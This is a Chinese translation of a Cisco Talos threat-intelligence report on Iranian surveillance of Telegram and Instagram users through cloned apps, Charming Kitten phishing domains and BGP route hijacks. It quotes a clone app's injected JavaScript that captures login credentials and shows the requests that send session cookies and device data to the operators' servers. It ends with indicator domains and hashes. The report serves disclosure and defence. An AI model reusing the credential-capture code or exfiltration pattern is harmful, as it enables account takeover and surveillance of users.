本文翻译自:https://blog.talosintelligence.com/2018/11/persian-stalker.html
由国家所赞助的应用厂商拥有许多先进的技术用于社交媒体的远成访问以及在应用中进行安全的消息传递。从2017年开始到2018年之间,思科Talos已经发现了各种被用来窃取用户私人信息的应用技术。这些技术均使用了伪造的登录页面,并伪装为合法的应用程序以便实施BGP劫持。除此之外,他们的目标总是针对安全消息应用程序Telegram以及社交媒体网站Instagram的伊朗用户。
在伊朗,由于电报应用程序有将近4000万用户使用,所以他已经成为了伊朗灰色软件的攻击目标。虽然电报被用户用于进行日常的交流,但是许多国家政府抗议者用它来组织政府示威活动。尤其在2017年12月。在少数情况下,伊朗政府会要求电报关闭那些有可能激发“暴力”的专栏。自2017年以来,这种策略就开始实施,用于收集有关Telegram和Instagram用户的信息。而这些活动的复杂性,资源需求和方法各不相同。下面我们将概述一下网络攻击,应用程序克隆和经典网络钓鱼攻击的示例。我们相信,这些活动会针对伊朗用户并被用于窃取电报应用程序中的个人登录信息。
恶意程序被安装后,即使用户使用的是合法的Telegram应用程序,但其中一些克隆应用也会访问移动设备的完整联系人列表和消息。在使用伪造的Instagram应用程序的情况下,恶意软件将完整的会话数据发送回后端服务器,这也使得攻击者能够完全控制这些账户。这也表明这些用于软件的“灰色”性质。然而它暂时还不具备很高的恶意程度,所以不能被归类为恶意软件。但其可疑性值得我们进行关注。这种软件很难检测,因为它通常满足用户期望的功能(例如发送消息)。然而它仅有一次因为其他方面的恶意性而被安全研究员捕捉检测到。Talos最终发现了几款影响颇深的广告软件。我们相信此灰色软件很可能会给用户的隐私安全带来隐患。根据我们的研究,其中一些应用程序将数据发送回主机服务器,或者以某种方式从位于伊朗的IP地址进行远程控制,无论设备位于国内或者国外。
在伊朗的恶意攻击中,我们发现攻击者创建了虚假登录页面。尽管这不是一种先进的技术,但对于那些不了解网络安全的用户来说,它是有效的。
像“迷人的小猫”这样的伊朗联盟组织一直在使用这种技术,其目标是安全消息传递应用程序。 一些攻击者也在劫持设备的BGP协议。 该技术重定向所有路由器的流量,而设备不考虑这些新路由的原始路由。 为了劫持BGP,他们需要与互联网服务提供商(ISP)合作,但这种操作很容易被检测到,因此新的路由将会等待很长时间才能到位。
Talos并没有从这几次攻击中找到一个相关联的关系,但所有这些攻击都针对伊朗及其国民和Telegram应用程序。虽然这篇文章的重点是伊朗,但全球的移动用户仍然需要意识到,这些技术可以被任何国家,国家赞助厂商或威胁行为者使用。 这在伊朗和俄罗斯等国家更为普遍,在这些国家,Telegram等应用程序被禁止,为了复制Telegram的服务,开发人员创建出现在官方和非官方应用程序商店的克隆。
普通用户虽然无法对BGP劫持采取任何手段,但使用官方应用程序商店中的合法应用程序可降低风险。 同样的规则适用于克隆的应用程序,从不受信任的来源安装应用程序意味着用户必须承担一定程度的风险。 在这两种情况下,当应用程序是非官方的“增强版”并且它们在官方Google Play商店中可用,用于也要小心下载。
Talos确定了一家完全专注于伊朗市场的软件开发商。 出版商在iOS和Android平台上都使用“andromedaa.ir”这个名称。 它开发的软件旨在增加用户在Instagram等社交媒体网络上的曝光率,以及某些电报频道上的伊朗用户数量。
在查看网站,更具体地说是安装链接时,显然这些应用程序都没有在官方应用程序商店(谷歌或苹果)中发布,这可能是由于美国政府对伊朗实施的制裁。
andromedaa.ir域名已在[email protected]电子邮件地址注册。 这是用于为克隆的Instagram和Telegram应用程序专门设计的电子邮件地址(请参阅下面的部分)。
Talos在分析与域andromedaa [.] com相关的whois信息后识别出各种域名,除了一个注册了相同的电话号码。
我们扫描了与上述域名相关的IP地址,这些域名显示了他们使用SSL证书的模式。
此SSL证书分析显示另一个域--flbgr [.] com - 其whois信息受隐私保护。 根据SSL证书中这些值的低关注程度,Talos将此域与高威胁行为相关联。其中域名flbgr [.] com于2018年8月6日注册,这也是最近注册的域名,并将其解析为IP地址145.239.65 [.] 25。 Cisco Farsight数据显示其他域也解析为相同的IP地址。
然后,Talos发现了一个SSL证书,其通用名称为followerbegir [.] ir,其中包含sha256哈希值。 我们还发现了另一种相似证书。 然而,证书中似乎有两个拼写错误:一个在公共名称字段“followbeg.ir”中,另一个在组织字段中,它被标识为“andromeda”,而不是andromedaa。
Andromedaa.ir发布了iOS应用程序,但其是与剑桥环球学院有限公司签发的证书一同签署的。这是一家提供iOS开发服务的英国威尔士注册公司。 该公司由一名伊朗公民拥有,该公司在四个不同的国家拥有至少四家其他公司:英国,美国,土耳其和爱沙尼亚。 所有这些公司都共享相同的服务,提供类似内容的网页。
Google将网站mohajer.co.uk标记为网络钓鱼,这可能与此网站以及Mohajer.eu为英国,美国,加拿大,澳大利亚和欧洲经济区其他国家/地区提供签证服务有关。
所有andromedaa.ir应用程序都会通过增加特定电报频道中的喜欢,评论,关注者甚至用户数量来增加用户在Instagram或电报上的曝光率。所有这些操作都保证了只有伊朗用户才能执行。 同样的运营商也管理(见上一节)像lik3.org这样的网站,它们的销售情况同样被曝光。
虽然这些服务并非违法,但它们肯定是“灰色”服务。 在同一网站上,
我们可以看到营销商大力宣传使用此服务的好处。
值得注意的是,运营商表示他们永远不会要求Instagram用户进行密码设置,因为他们所有的网站用户都是真实存在的,然而实际情况是,运营商不需要Instagram用户的客户密码,因为Instagram用户不需要登录用户的帐户来“喜欢”他们发送的帖子。
相反,运营商可以访问数千个用户会话。 他们可以访问已安装“免费”应用程序的用户,这意味着他们可以在这些会话期间做任何他们想做的事情。 虽然用户对Telegram应用程序使用不同的操作,但这些方法也可能导致攻击者获得控制权。 有关详细信息,请参阅“应用程序示例”部分。
这里的危险并不是运营商通过此手法进行恶意赚钱活动,而是用户的隐私存在风险。对Instagram和Telegram帐户的控制方法使得攻击者能够问用户的完整联系人列表、Telegram上的未来消息以及用户的完整Instagram个人资料。 伊朗禁止使用这些网站,特别是电报,因为聊天可以加密,阻止政府访问。 通过使用这些方法,运营商监听未来用户的聊天内容。
虽然此应用的大部分后端都托管在欧洲的服务器中,但所有经过测试的应用程序都会对位于伊朗的服务器执行更新检查。 同样,这本身并不是恶意的,但考虑到禁用应用程序的内容可能使政府将访问数千个移动设备。 但是,Talos无法将此活动向运营商与政府实体建立直接关系。
我们分析的第一个应用程序是为iOS设计的فالوئربگیراینستاگرام(“Follower Begir Instagram”)。 Andromedaa.ir提交了这个申请,并由剑桥环球学院签署。 此应用程序是Instagram的合作项目。
开发人员添加了一些功能,如虚拟货币和波斯语支持等。
该应用程序使用iOS WebKit框架来显示Web内容,并显示Instagram页面。 首次执行时,应用程序显示使用以下JavaScript代码段注入;来Instagram登录页面。
document.addEventListener('click', function() {
try {
var tu = document.querySelector('[name="username"]');
var tp = document.querySelector('[name="password"]');
var tpV = (typeof tp == 'undefined') ? '' : tp.value;
var tuV = (typeof tu == 'undefined') ? '' : tu.value;
} catch (err) {
var tuV = '';
var tpV = '' }
var bd = document.getElementsByTagName('body')[0].innerText;
var messageToPost = {
'pu': tuV,
'pp': tpV,
'bd': bd
}; window.webkit.messageHandlers.buttonClicked.postMessage(messageToPost);}, false);
此代码的目的是在用户单击“连接”按钮时将控件提供给iOS应用程序。 应用程序接收相应事件、用户名和密码字段的值以及页面正文。 该事件由followerbegir.AuthorizationUserController userController:didReceiveScriptMessage()
函数处理。 之后,应用程序在Instagram服务器上进行身份验证。
在此调查期间,我们发现密码未直接发送到后端服务器(v1 [.] flbgr [.] com)。 以下是发送到ping.php网页的数据:
POST /users/ping.php?m=ios&access=[redacted]&apk=35&imei=[redacted]&user_details=[redacted]&tokenNumber=[redacted] HTTP/1.1
Host: v1.flbgr.com
SESSIONID: [redacted]
HEADER: vf1IOS: 3361ba9ec3480bcd3766e07cf6b4068a
Connection: close
Accept: */*
Accept-Language: fr-fr
User-Agent: %D9%81%D8%A7%D9%84%D9%88%D8%A6%D8%B1%20%D8%A8%DA%AF%D9%8A%D8%B1%20%D8%A7%DB%8C%D9%86%D8%B3%D8%AA%D8%A7%DA%AF%D8%B1%D8%A7%D9%85/35 CFNetwork/893.14.2 Darwin/17.3.0
Accept-Encoding: gzip, deflate
Content-Length: 0
如果帐户是私有的,则后端服务器的运营商接收移动类型(iOS),令牌和用户数据,例如用户名,个人资料图片和全名。
SESSIONID变量包含最敏感的信息:具有有效cookie的Instagram连接的标头。 服务器可以使用此字段中可用的信息劫持用户的Instagram会话。
与大多数基础设施不同,该应用程序具有相应的更新机制。 当应用程序启动时,它会向当前版本的应用程序发送一个请求到ndrm [.] ir:
POST /start/fl.php?apk=35&m=ios HTTP/1.1
Host: ndrm.ir
HEADER: vf1
Connection: close
IOS: 3361ba9ec3480bcd3766e07cf6b4068a
Accept: */*
User-Agent: %D9%81%D8%A7%D9%84%D9%88%D8%A6%D8%B1%20%D8%A8%DA%AF%D9%8A%D8%B1%20%D8%A7%DB%8C%D9%86%D8%B3%D8%AA%D8%A7%DA%AF%D8%B1%D8%A7%D9%85/35 CFNetwork/893.14.2 Darwin/17.3.0
Accept-Language: en-gb
Accept-Encoding: gzip, deflate
Content-Length: 0
如果版本不是最新版本,则应用程序会将用户重定向到andromedaa商店:
该商店包含最新版本的应用程序并且具有验证开发人员证书的过程。商店也允许开发人员在任何时间点更新证书信任和应用程序。
Ozvbegir应用程序的目的是增加用户电报频道的成员数量。 这个程序保证用户只会来自伊朗。
我们分析了Android版本的应用程序。 申请包由自签名证书签署,该证书有效期至3014年。
同一应用程序的早期版本也使用了自签名证书,但发行者和主题信息都显然是错误的。
就像之前的应用程序一样,Ozvbegir应用程序被重新打包,其中包含了Telegram应用程序中的原始类。
实际上,我们在清单中发现了最初Telegram包的标志,但是该包被更改为适应应用程序代码。清单上使用的名称和标签引用了Telegram原始应用程序,甚至用于Android Maps应用程序的API密钥也保持不变。
就像之前的应用程序一样,这个应用程序也通过对ndrm.ir域执行HTTP请求来检查新版本。 如果应用程序不是最新版本,它将同时收到消息和链接以获取最新版本,而该版本是经过攻击者自行设置的。 在这种情况下,它来自一个伊朗的Android应用程序商店--cafebazaar.ir
。
ndrm.ir域与其他地址一同在同一个
电子邮件处注册。然而这个唯一的伊朗托管的产品恰好是能够在移动设备上升级应用程序。
该应用程序的外观非常类似于原始Telegram应用程序。 就像最初的Telegram应用程序一样,用户需要在他们第一次打开应用程序时提供他们的电话号码以便在Telegram中注册。
此注册为同一设备创建一个影子会话,使应用程序可以访问完整的联系人列表和消息。
当注册过程结束时,应用程序会联系后端服务器,并提供有关用户和移动设备的信息。
GET /users/ping.php?access_hash=[redacted]&inactive=0&flags=1107&last_name=%21%21empty%21%21&phone=[redacted]&tg_id=[redacted]&m=d&user_name=[redacted]&first_name=Pr2&network=SYMA&country=[redacted]&apk=570&imei=[redacted]&brand=motorola&api=24&version=7.0&model=Moto+G+%285%29&tut=[redacted] HTTP/1.1
TOKEN: ab1ccf8fd77606dda6bb5ecc858faae1
NUM: df27340104277f1e73142224d9cb59e8
HEADER: bt6
ADMIN: web
Host: v1.ozvdarozv.com
Connection: close
User-Agent: Apache-HttpClient/4.5.1 (java 1.4)
我们在Telegram频道上确定了超过100万用户,这些用户在首次打开应用程序时会自动加入应用。
与以前的开发人员不同,Bitgram_dev没有大肆进攻互联网。目前,它在Google Play上有两个已发布的应用程序--AseGram和BitGram。 而相关下载大约进行了10000次。
鉴于AseGram和BitGram的目的在于规避伊朗对电报的禁令,因此有理由认为出版商隐藏自己的足迹。
AseGram应用程序适用于某些国家、地区的Google Play商店。 即使从Google Play商店下载此类应用,签署该软件包的证书在安全方面也是完全无用的。
Telegram应用程序被成功克隆以便拦截来自用户的所有通信。但是这个方法与常规方法有所不同:该软件使用Telegram包层定义的代理来拦截流量。
就像以前的应用程序一样,AseGram是对Android合法电报的重新打包。 这种技术减少了开发人员在开发自己的Telegram客户端时可能遇到的bug问题。
服务org.pouyadr.Service.MyService在启动时将调用原始Telegram包中的MessagesController.getGlobalMainSettings()
,并将更改设置以包含代理配置。
配置信息被硬编码到恶意软件中,并使用AES加密,密钥源自特定软件包的中的硬编码值。
该应用程序涉及三个域:talagram.ir,hotgram.ir和harsobh.com,这些域都在伊朗公司注册。 在这种情况下,应用程序管理员可以访问通信。
此应用程序所创建的服务只能在设备启动时启动并且只能通过手动关闭应用程序来禁用。 该服务包含安装新软件包所需的代码,但该操作由系统中的标准软件包管理器处理。 该服务还负责联系位于伊朗的IP地址。 实际上,这些使用Telegram克隆的后端称为“Advanced Telegram”或(Golden Telegram)。 这个应用程序可以在cafebazaa.ir上获得,这是一家伊朗国家批准的Android应用程序商店。
重要的是要强调本页的第一句——“اینبرنامهدرچارچوبقوانینکشورفعالیتمیکند”(“该计划在该国法律的框架内运作”)。 我们很难找到一个合法的用例,这些应用程序为了规避禁令而联系其国家的审查克隆服务器,这些通信消息高度可疑。
该应用程序还使用了位于多个国家、地区的socks服务器代码,这些代码被用于规避禁令。 然而,在我们的研究中,我们从未见过这些代码被使用过。 另一方面,如果物理设备不在伊朗,那么我们却看到了流量发送到位于该国的服务器。这些操作似乎在试图组织伊朗电报程序的兼容。
获得用户电报帐户访问权限的最简单方法是对用户进行社交工程,将用户名和密码输入由攻击者控制的欺诈性网站。 我们观察了域名youtubee-videos [.] com,它模仿了Telegram的Web登录页面。
此域名在2017年7月25日注册。基于战略,技术和程序(TTP),例如域名注册模式,电子邮件地址 - nami.rosoki@gmail [.] com -被用于注册此域名。而其他域及其域名服务器(pDNS)记录表明该域名与Charming Kitten组相关联。 这个域名与另一家网络安全公司Clearsky联系在一起。 在进一步检查网页源代码后,我们发现网站似乎是使用名为“Webogram”的GitHub项目构建的,源页面中还有字符串表示该网站的显示是为iPhone设计的。
在Talos正在研究“迷人小猫”攻击者使用的欺骗性电报网站过程中,我们发现了许多恶意域名,其中包含“移动”,“信使”等关键字,在某些情况下还包含“环聊”,这可能是一个名为Hangouts的Google聊天应用程序。 这表明这些参与者一直对获取到用户的移动设备感兴趣,特别是他们的聊天消息。
这些域也使用与2017年相同的Modus操作数进行注册。通过分析pDNS记录,Talos发现了其内容被解析为相同IP地址。
这清楚地表明,该组正在进行一项活动,于是我们需要重点关注用户凭据和消息传递应用程序。
在监控思科的边界网关协议(BGP)公告数据库BGPStream时,Talos注意到一些源自伊朗自治系统号(ASN)58224的路由异常。对于那些不熟悉此协议的人,BGP在Request for Comments(RFC)中定义 为4271,作为“一种自治系统路由协议”。 在此上下文中,“路由被定义为目标路径属性配对的信息单元” 简而言之,该协议允许在请求位于所请求的网络或自治系统之外的资源时发生互联网通信。
在互联网上使用BGP来协助选择最佳路径路由。 而这可以在ISP级别进行操作,是否选择如此操作具体取决于各种因素,BGP允许路由选择。 BGP通过语音系统优化互联网流量的路由,RFC 4271将其定义为:
BGP语音系统的主要功能是与其他BGP系统交换网络可达性信息。 该网络可达性信息包括关于可达性自治系统(AS)列表的信息。
这些语音系统充当路由器向邻近系统发送“更新消息”的平台。 “更改路由属性的过程是通过通告替换路由来完成的。替换路由携带新的[已更改]属性,并且具有与原始路由相同的地址前缀。”
虽然这是为了解决网络问题而设计的,但它没有添加足够的安全机制来防止滥用的情况。 除了某些方法(如MD5密码,IPSec或GTSM)之外,BGP不提供安全机制。 这些都不是默认要求,因此不会被广泛使用。 但是这可以允许某人发送具有相同前缀或AS的备用路由的更新消息,即使与主路由没有关系。
这可能产生一些通过受害者的预定或次优路线。 这些路由偏差有时被称为BGP劫持会话。 BGP劫持会话的有效性是根据通过消息接收更新的BGP对等方的数量来衡量的。 接收更新消息的用户越多,通过次优路径路由的流量就可以为行为者预先配置。
一个BGP路由异常发生在2018年6月30日07:41:28 UTC。 在此次活动中,总部位于伊朗的ASN 58224宣布更新前缀185.112.156.0/22。 而伊朗电信提供商伊朗电信公司PJS发送了更新消息的ASN。
这次劫持活动与匈牙利的互联网服务提供商(ISP)DoclerWeb Kft有关。9个BGPmon检测机制检测到此事件。而这个事件持续了2小时15分钟,直到消息被更新。虽然此事件的规模非常小,但这可能是针对更大的BGP劫持尝试的试运行。
有更多的BGP异常来自伊朗的ASN 58224。在2018年7月30日UTC时间06:28:25,四条BGP路线在同一时间被宣布为“具体专线”,并影响与Telegram的沟通。 当路由器通过语音系统收到此更新消息时,他们开始通过ASN 58224路由一些发往Telegram服务器的流量。此活动特别有效,因为大量的BGPmon检测端观察到它,表明它在整个传播过程中传播。 就像一个月前的事件一样,所有路由器都在2小时15分钟后收到更正的更新消息,结束了此次劫持。
从理论上讲,此次公告只有一个组成用于破坏与Telegram服务器的通信。这次劫持事件使一些电报消息被发送给伊朗电信提供商。其他国家的攻击者也使用这种技术来传递恶意软件,正如其他安全研究人员在2018年5月前两个月所记录的那样,一旦流量通过所需的ISP路由,就可以对其进行修改。 有一些开源报告表明,伊朗电信提供商此前曾与伊朗政府合作获取通信。 该文章建议电信公司向政府官员提供访问电报账户所需的电报短信验证码。
这种特殊的能力很有吸引力,因为它可以让攻击者通过伊朗在相邻的ASN中进行路由。 这可能使威胁行为者能够访问附近国家的设备,并损害非伊朗电信提供商的用户。
伊朗信息和通信技术部长Mohammad-Javad Azari Jahromi承认了这一事件并表示将对此进行调查。 伊朗政府没有就此调查公开发布任何进一步的信息。
我们在这里讨论的三种技术并不是国家所赞助的厂商用以监视公民的唯一技术。新闻中多次播报针对大规模互联网防火墙和监视的部署情况。其中一些活动还针对特定的应用程序。
然而,这些看起来显然不相关的事件至少有两个共同点:伊朗和电报。 这些相关点相距甚远,因为伊朗已经禁止该国的电报。 但是我们发现有几个Telegram克隆软件已经被安装了数千次,它们以某种方式使用了位于伊朗的IP地址,其中一些广告宣传他们可以规避禁令。 这些应用程序的活动并非违法,但它使攻击者能够完全控制消息的传递,并在某种程度上控制用户的设备。
即使在使用经典网络钓鱼技术的情况下,像”迷你小猫“这样的团体的长期活动仍然对那些不太了解网络安全的用户有效。 鉴于这些活动的共同点是公民身份,所以可以理解的是,任何国家的人都不会像网络安全专业人士一样接受网络安全教育,因此即使是这种传统技术也可能非常有效。
虽然Talos不可能准确地确定7月30日路由更新消息背后的意图,但Talos有信心说明这些更新是针对该地区电报服务的恶意行为。四个更新消息不可能在同一时间通过一个ASN-58224进行分发。该评估声明还考虑了来自伊朗复杂历史的开源报告。 通过禁止使用电报的法律,报告结论因电报的IP地址在伊朗而导致了中断。
除了受害者与应用之外,Talos无法在每个事件之间找到任何可靠的联系。 由于目前电报被禁用,这项调查的重点也就放在了伊朗。 但是无论是否有国家赞助,这些技术可以被任何恶意行为者使用。 Talos高度自信地评估了使用本博文中讨论的应用程序时用户的隐私存在风险。 应该认真对待这类安全问题。
域信息
talagram[.]ir
hotgram[.]ir
Harsobh[.]com
ndrm[.]ir
andromedaa[.]ir
buycomment[.]ir
bazdiddarbazdid[.]com
youpo[.]st
im9[.]ir
followerbegir[.]ir
buylike[.]ir
buyfollower[.]ir
andromedaa[.]ir
30dn[.]ir
ndrm[.]ir
followerbeg[.]ir
viewmember[.]ir
ozvdarozv[.]ir
ozvbegir[.]ir
obgr[.]ir
likebeg[.]ir
lbgr[.]ir
followgir[.]ir
followbegir[.]ir
fbgr[.]ir
commentbegir[.]ir
cbgr[.]ir
likebegir[.]com
commentbegir[.]com
andromedaa[.]com
ozvbegir[.]com
ozvdarozv[.]com
andromedaa[.]net
lik3[.]org
homayoon[.]info
buylike[.]in
lkbgr[.]com
flbgr[.]com
andromedaa[.]com
mobilecontinue[.]network
mobilecontinue[.]network
mobile-messengerplus[.]network
confirm-identification[.]name
invitation-to-messenger[.]space
com-messengersaccount[.]name
broadcastnews[.]pro
youridentityactivity[.]world
confirm-verification-process[.]systems
sessions-identifier-memberemailid[.]network
mail-profile[.]com
download-drive-share[.]ga
hangouts-talk[.]ga
mail-login-profile[.]com
watch-youtube[.]live
stratup-monitor[.]com
Xn--oogle-v1a[.]ga (ġoogle[.]ga)
file-share[.]ga
哈希值
8ecf5161af04d2bf14020500997afa4473f6a137e8f45a99e323fb2157f1c984 - BitGram
24a545778b72132713bd7e0302a650ca9cc69262aa5b9e926633a0e1fc555e98 - AseGram
a2cf315d4d6c6794b680cb0e61afc5d0afb2c8f6b428ba8be560ab91e2e22c0d followerbegir.ipa
a7609b6316b325cc8f98b186d46366e6eefaae101ee6ff660ecc6b9e90146a86 ozvdarozv.apk